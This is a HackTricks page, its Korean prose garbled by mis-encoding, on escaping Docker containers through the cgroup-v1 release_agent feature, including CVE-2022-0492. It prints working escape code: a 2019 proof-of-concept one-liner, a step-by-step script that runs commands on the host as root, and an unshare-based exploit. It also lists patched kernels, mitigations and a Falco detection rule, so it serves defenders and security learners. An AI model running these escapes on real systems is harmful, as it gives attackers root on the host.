Docker release_agent cgroups escape
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
μμΈν λ΄μ©μ μλ³Έ λΈλ‘κ·Έ κ²μλ¬Όμ μ°Έμ‘°νμμμ€. μ΄κ²μ μμ½μ λλ€:
Classic PoC (2019)
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
The PoCλ cgroup-v1 release_agent κΈ°λ₯μ μ
μ©ν©λλ€: notify_on_release=1μΈ cgroupμ λ§μ§λ§ μμ
μ΄ μ’
λ£λλ©΄, 컀λ(νΈμ€νΈμ μ΄κΈ° λ€μμ€νμ΄μ€μμ)μ μ°κΈ° κ°λ₯ν νμΌ release_agentμ μ μ₯λ κ²½λ‘μ νλ‘κ·Έλ¨μ μ€νν©λλ€. μ΄ μ€νμ νΈμ€νΈμμ μ 체 λ£¨νΈ κΆνμΌλ‘ λ°μνκΈ° λλ¬Έμ, νμΌμ λν μ°κΈ° μ κ·Ό κΆνμ μ»λ κ²λ§μΌλ‘λ 컨ν
μ΄λ νμΆμ΄ κ°λ₯ν©λλ€.
μ§§κ³ μ½κΈ° μ¬μ΄ λ¨κ³λ³ μ€λͺ
- μ cgroup μ€λΉνκΈ°
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # λλ βo memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
release_agentλ₯Ό 곡격μκ° μ μ΄νλ μ€ν¬λ¦½νΈλ‘ μ€μ νκΈ°
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- νμ΄λ‘λ λλ‘νκΈ°
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
- μλ¦Ό νΈλ¦¬κ±°νκΈ°
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # μμ μ μΆκ°νκ³ μ¦μ μ’
λ£
cat /output # μ΄μ νΈμ€νΈ νλ‘μΈμ€κ° ν¬ν¨λ¨
2022 컀λ μ·¨μ½μ β CVE-2022-0492
2022λ
2μ Yiqi Sunκ³Ό Kevin Wangμ 컀λμ΄ cgroup-v1μμ release_agentμ μΈ λ κΆνμ κ²μ¦νμ§ μλλ€λ κ²μ λ°κ²¬νμ΅λλ€ (ν¨μ cgroup_release_agent_write).
μ€μ λ‘ cgroup κ³μΈ΅μ λ§μ΄νΈν μ μλ λͺ¨λ νλ‘μΈμ€(μ: unshare -UrCλ₯Ό ν΅ν΄)λ μ΄κΈ° μ¬μ©μ λ€μμ€νμ΄μ€μμ CAP_SYS_ADMIN μμ΄ μμμ κ²½λ‘λ₯Ό release_agentμ μΈ μ μμμ΅λλ€. κΈ°λ³Έ ꡬμ±μ λ£¨νΈ μ€ν Docker/Kubernetes 컨ν
μ΄λμμλ λ€μμ νμ©νμ΅λλ€:
- νΈμ€νΈμμ 루νΈλ‘μ κΆν μμΉ; β
- 컨ν μ΄λκ° νΉκΆμ κ°μ§μ§ μκ³ λ 컨ν μ΄λ νμΆ.
μ΄ κ²°ν¨μ CVE-2022-0492 (CVSS 7.8 / λμ)λ‘ μ§μ λμμΌλ©°, λ€μ 컀λ 릴리μ€(λ° μ΄ν λͺ¨λ 릴리μ€)μμ μμ λμμ΅λλ€:
- 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
ν¨μΉ 컀λ°: 1e85af15da28 "cgroup: Fix permission checking".
컨ν μ΄λ λ΄ μ΅μνμ μ΅μ€νλ‘μ
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
컀λμ΄ μ·¨μ½ν κ²½μ°, νΈμ€νΈμ busybox λ°μ΄λλ¦¬κ° μ 체 λ£¨νΈ κΆνμΌλ‘ μ€νλ©λλ€.
κ°ν λ° μν
- 컀λ μ
λ°μ΄νΈ (β₯ λ²μ μ΄μ). ν¨μΉλ μ΄μ
release_agentμ μ°κΈ° μν΄ μ΄κΈ° μ¬μ©μ λ€μμ€νμ΄μ€μμCAP_SYS_ADMINμ μꡬν©λλ€. - cgroup-v2 μ νΈ β ν΅ν© κ³μΈ΅
release_agentκΈ°λ₯μ μμ ν μ κ±°νμ¬, μ΄ ν΄λμ€μ νμΆμ μμ΄μ΅λλ€. - λΆνμν μ¬μ©μ λ€μμ€νμ΄μ€ λΉνμ±ν: νμνμ§ μμ νΈμ€νΈμμ:
sysctl -w kernel.unprivileged_userns_clone=0
- μ무μ μ κ·Ό μ μ΄:
/sys/fs/cgroup/**/release_agentμμmount,openatμ κ±°λΆνκ±°λCAP_SYS_ADMINμ μ κ±°νλ AppArmor/SELinux μ μ± μ μ·¨μ½ν 컀λμμλ μ΄ κΈ°μ μ μ€λ¨μν΅λλ€. - μ½κΈ° μ μ© λ°μΈλ λ§μ€ν¬ λͺ¨λ
release_agentνμΌ (Palo Alto μ€ν¬λ¦½νΈ μμ):
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
λ°νμμμμ νμ§
Falcoλ v0.32λΆν° λ΄μ₯ κ·μΉμ μ 곡ν©λλ€:
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
κ·μΉμ μ¬μ ν CAP_SYS_ADMINμ κ°μ§ 컨ν
μ΄λ λ΄λΆμ νλ‘μΈμ€μμ */release_agentμ λν λͺ¨λ μ°κΈ° μλμ λν΄ νΈλ¦¬κ±°λ©λλ€.
References
- Unit 42 β CVE-2022-0492: container escape via cgroups β μμΈ λΆμ λ° μν μ€ν¬λ¦½νΈ.
- Sysdig Falco rule & detection guide
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


